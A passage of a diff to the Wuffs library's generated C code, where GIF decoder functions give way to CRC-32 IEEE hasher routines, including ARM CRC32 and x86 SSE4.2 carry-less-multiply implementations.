(wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_gif__decoder__restart_frame), ++ uint32_t))(&wuffs_crc32__ieee_hasher__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_gif__decoder__set_quirk), ++ uint64_t))(&wuffs_crc32__ieee_hasher__set_quirk), + (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_gif__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_gif__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gif__decoder__workbuf_len), ++ wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update), ++ (uint32_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_crc32__ieee_hasher__update_u32), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_gif__decoder__initialize( +- wuffs_gif__decoder* self, ++wuffs_crc32__ieee_hasher__initialize( ++ wuffs_crc32__ieee_hasher* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -36681,23 +37083,25 @@ wuffs_gif__decoder__initialize( + } + } + ++ self->private_impl.choosy_up = &wuffs_crc32__ieee_hasher__up__choosy_default; ++ + self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = ++ wuffs_base__hasher_u32__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = ++ (const void*)(&wuffs_crc32__ieee_hasher__func_ptrs_for__wuffs_base__hasher_u32); + return wuffs_base__make_status(NULL); + } + +-wuffs_gif__decoder* +-wuffs_gif__decoder__alloc(void) { +- wuffs_gif__decoder* x = +- (wuffs_gif__decoder*)(calloc(sizeof(wuffs_gif__decoder), 1)); ++wuffs_crc32__ieee_hasher* ++wuffs_crc32__ieee_hasher__alloc(void) { ++ wuffs_crc32__ieee_hasher* x = ++ (wuffs_crc32__ieee_hasher*)(calloc(1, sizeof(wuffs_crc32__ieee_hasher))); + if (!x) { + return NULL; + } +- if (wuffs_gif__decoder__initialize( +- x, sizeof(wuffs_gif__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_crc32__ieee_hasher__initialize( ++ x, sizeof(wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -36705,18 +37109,18 @@ wuffs_gif__decoder__alloc(void) { + } + + size_t +-sizeof__wuffs_gif__decoder(void) { +- return sizeof(wuffs_gif__decoder); ++sizeof__wuffs_crc32__ieee_hasher(void) { ++ return sizeof(wuffs_crc32__ieee_hasher); + } + + // ---------------- Function Implementations + +-// -------- func gif.decoder.get_quirk ++// -------- func crc32.ieee_hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__get_quirk( +- const wuffs_gif__decoder* self, ++wuffs_crc32__ieee_hasher__get_quirk( ++ const wuffs_crc32__ieee_hasher* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -36726,25 +37130,15 @@ wuffs_gif__decoder__get_quirk( + return 0; + } + +- uint32_t v_key = 0; +- +- if (a_key >= 1041635328u) { +- v_key = (a_key - 1041635328u); +- if (v_key < 7u) { +- if (self->private_impl.f_quirks[v_key]) { +- return 1u; +- } +- } +- } + return 0u; + } + +-// -------- func gif.decoder.set_quirk ++// -------- func crc32.ieee_hasher.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__set_quirk( +- wuffs_gif__decoder* self, ++wuffs_crc32__ieee_hasher__set_quirk( ++ wuffs_crc32__ieee_hasher* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -36757,377 +37151,812 @@ wuffs_gif__decoder__set_quirk( + : wuffs_base__error__initialize_not_called); + } + +- if ((self->private_impl.f_call_sequence == 0u) && (a_key >= 1041635328u)) { +- a_key -= 1041635328u; +- if (a_key < 7u) { +- self->private_impl.f_quirks[a_key] = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } +- } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func gif.decoder.decode_image_config ++// -------- func crc32.ieee_hasher.update + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__decode_image_config( +- wuffs_gif__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__update( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return wuffs_base__make_empty_struct(); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ return wuffs_base__make_empty_struct(); + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } + +- ok: +- self->private_impl.p_decode_image_config[0] = 0; +- goto exit; ++ if (self->private_impl.f_state == 0u) { ++ self->private_impl.choosy_up = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) ++ wuffs_base__cpu_arch__have_arm_crc32() ? &wuffs_crc32__ieee_hasher__up_arm_crc32 : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_crc32__ieee_hasher__up_x86_sse42 : ++#endif ++ self->private_impl.choosy_up); + } ++ wuffs_crc32__ieee_hasher__up(self, a_x); ++ return wuffs_base__make_empty_struct(); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++// -------- func crc32.ieee_hasher.update_u32 + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_crc32__ieee_hasher__update_u32( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return 0; + } +- return status; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return 0; ++ } ++ ++ wuffs_crc32__ieee_hasher__update(self, a_x); ++ return self->private_impl.f_state; + } + +-// -------- func gif.decoder.do_decode_image_config ++// -------- func crc32.ieee_hasher.up + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_image_config( +- wuffs_gif__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- bool v_ffio = false; ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ return (*self->private_impl.choosy_up)(self, a_x); ++} + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up__choosy_default( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s = 0; ++ wuffs_base__slice_u8 v_p = {0}; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if ( ! self->private_impl.f_seen_header) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_gif__decoder__decode_header(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__decode_lsd(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_header = true; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- v_ffio = ! self->private_impl.f_gc_has_transparent_index; +- if ( ! self->private_impl.f_quirks[2u]) { +- v_ffio = (v_ffio && +- (self->private_impl.f_frame_rect_x0 == 0u) && +- (self->private_impl.f_frame_rect_y0 == 0u) && +- (self->private_impl.f_frame_rect_x1 == self->private_impl.f_width) && +- (self->private_impl.f_frame_rect_y1 == self->private_impl.f_height)); +- } else if (v_ffio) { +- self->private_impl.f_black_color_u32_argb_premul = 4278190080u; +- } +- if (self->private_impl.f_background_color_u32_argb_premul == 77u) { +- self->private_impl.f_background_color_u32_argb_premul = self->private_impl.f_black_color_u32_argb_premul; ++ v_s = (4294967295u ^ self->private_impl.f_state); ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 16; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); ++ while (v_p.ptr < i_end0_p) { ++ v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | ++ (((uint32_t)(v_p.ptr[1u])) << 8u) | ++ (((uint32_t)(v_p.ptr[2u])) << 16u) | ++ (((uint32_t)(v_p.ptr[3u])) << 24u)); ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); ++ v_p.ptr += 16; ++ v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | ++ (((uint32_t)(v_p.ptr[1u])) << 8u) | ++ (((uint32_t)(v_p.ptr[2u])) << 16u) | ++ (((uint32_t)(v_p.ptr[3u])) << 24u)); ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); ++ v_p.ptr += 16; + } +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- 2198077448u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- v_ffio); ++ v_p.len = 16; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16)); ++ while (v_p.ptr < i_end1_p) { ++ v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | ++ (((uint32_t)(v_p.ptr[1u])) << 8u) | ++ (((uint32_t)(v_p.ptr[2u])) << 16u) | ++ (((uint32_t)(v_p.ptr[3u])) << 24u)); ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ ++ WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ ++ WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); ++ v_p.ptr += 16; + } +- if (self->private_impl.f_call_sequence == 0u) { +- self->private_impl.f_call_sequence = 32u; ++ v_p.len = 1; ++ const uint8_t* i_end2_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end2_p) { ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ v_p.ptr[0u]))] ^ (v_s >> 8u)); ++ v_p.ptr += 1; + } +- +- goto ok; +- ok: +- self->private_impl.p_do_decode_image_config[0] = 0; +- goto exit; ++ v_p.len = 0; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- return status; ++ self->private_impl.f_state = (4294967295u ^ v_s); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func gif.decoder.set_report_metadata ++// -------- func crc32.ieee_hasher.checksum_u32 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_gif__decoder__set_report_metadata( +- wuffs_gif__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_crc32__ieee_hasher__checksum_u32( ++ const wuffs_crc32__ieee_hasher* self) { + if (!self) { +- return wuffs_base__make_empty_struct(); ++ return 0; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- if (a_fourcc == 1229144912u) { +- self->private_impl.f_report_metadata_iccp = a_report; +- } else if (a_fourcc == 1481461792u) { +- self->private_impl.f_report_metadata_xmp = a_report; ++ return self->private_impl.f_state; ++} ++ ++// ‼ WUFFS MULTI-FILE SECTION +arm_crc32 ++// -------- func crc32.ieee_hasher.up_arm_crc32 ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up_arm_crc32( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ wuffs_base__slice_u8 v_p = {0}; ++ uint32_t v_s = 0; ++ ++ v_s = (4294967295u ^ self->private_impl.f_state); ++ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { ++ v_s = __crc32b(v_s, a_x.ptr[0u]); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++ } ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 8; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 128) * 128)); ++ while (v_p.ptr < i_end0_p) { ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ } ++ v_p.len = 8; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8)); ++ while (v_p.ptr < i_end1_p) { ++ v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); ++ v_p.ptr += 8; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end2_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end2_p) { ++ v_s = __crc32b(v_s, v_p.ptr[0u]); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } ++ self->private_impl.f_state = (4294967295u ^ v_s); + return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) ++// ‼ WUFFS MULTI-FILE SECTION -arm_crc32 + +-// -------- func gif.decoder.tell_me_more ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func crc32.ieee_hasher.up_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__tell_me_more( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++static wuffs_base__empty_struct ++wuffs_crc32__ieee_hasher__up_x86_sse42( ++ wuffs_crc32__ieee_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s = 0; ++ __m128i v_kk = {0}; ++ __m128i v_x0 = {0}; ++ __m128i v_x1 = {0}; ++ __m128i v_x2 = {0}; ++ __m128i v_x3 = {0}; ++ __m128i v_x4 = {0}; ++ __m128i v_x5 = {0}; ++ __m128i v_x6 = {0}; ++ __m128i v_x7 = {0}; ++ __m128i v_y0 = {0}; ++ __m128i v_y1 = {0}; ++ __m128i v_y2 = {0}; ++ __m128i v_y3 = {0}; ++ __m128i v_y4 = {0}; ++ __m128i v_y5 = {0}; ++ __m128i v_y6 = {0}; ++ __m128i v_y7 = {0}; ++ ++ v_s = (4294967295u ^ self->private_impl.f_state); ++ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ a_x.ptr[0u]))] ^ (v_s >> 8u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ if (((uint64_t)(a_x.len)) >= 128u) { ++ v_x0 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)); ++ v_x1 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); ++ v_x2 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); ++ v_x3 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); ++ v_x4 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u)); ++ v_x5 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u)); ++ v_x6 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u)); ++ v_x7 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u)); ++ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(2433674945u), (int32_t)(0u), (int32_t)(872412467u)); ++ v_x0 = _mm_xor_si128(v_x0, _mm_cvtsi32_si128((int32_t)(v_s))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); ++ while (((uint64_t)(a_x.len)) >= 128u) { ++ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); ++ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); ++ v_y1 = _mm_clmulepi64_si128(v_x1, v_kk, (int32_t)(0u)); ++ v_x1 = _mm_clmulepi64_si128(v_x1, v_kk, (int32_t)(17u)); ++ v_y2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(0u)); ++ v_x2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(17u)); ++ v_y3 = _mm_clmulepi64_si128(v_x3, v_kk, (int32_t)(0u)); ++ v_x3 = _mm_clmulepi64_si128(v_x3, v_kk, (int32_t)(17u)); ++ v_y4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(0u)); ++ v_x4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(17u)); ++ v_y5 = _mm_clmulepi64_si128(v_x5, v_kk, (int32_t)(0u)); ++ v_x5 = _mm_clmulepi64_si128(v_x5, v_kk, (int32_t)(17u)); ++ v_y6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(0u)); ++ v_x6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(17u)); ++ v_y7 = _mm_clmulepi64_si128(v_x7, v_kk, (int32_t)(0u)); ++ v_x7 = _mm_clmulepi64_si128(v_x7, v_kk, (int32_t)(17u)); ++ v_y0 = _mm_xor_si128(v_y0, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ v_x0 = _mm_xor_si128(v_x0, v_y0); ++ v_y1 = _mm_xor_si128(v_y1, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); ++ v_x1 = _mm_xor_si128(v_x1, v_y1); ++ v_y2 = _mm_xor_si128(v_y2, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u))); ++ v_x2 = _mm_xor_si128(v_x2, v_y2); ++ v_y3 = _mm_xor_si128(v_y3, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u))); ++ v_x3 = _mm_xor_si128(v_x3, v_y3); ++ v_y4 = _mm_xor_si128(v_y4, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u))); ++ v_x4 = _mm_xor_si128(v_x4, v_y4); ++ v_y5 = _mm_xor_si128(v_y5, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u))); ++ v_x5 = _mm_xor_si128(v_x5, v_y5); ++ v_y6 = _mm_xor_si128(v_y6, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u))); ++ v_x6 = _mm_xor_si128(v_x6, v_y6); ++ v_y7 = _mm_xor_si128(v_y7, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u))); ++ v_x7 = _mm_xor_si128(v_x7, v_y7); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); ++ } ++ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(3433693342u), (int32_t)(0u), (int32_t)(2926088593u)); ++ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); ++ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); ++ v_y2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(0u)); ++ v_x2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(17u)); ++ v_y4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(0u)); ++ v_x4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(17u)); ++ v_y6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(0u)); ++ v_x6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(17u)); ++ v_y0 = _mm_xor_si128(v_y0, v_x1); ++ v_x0 = 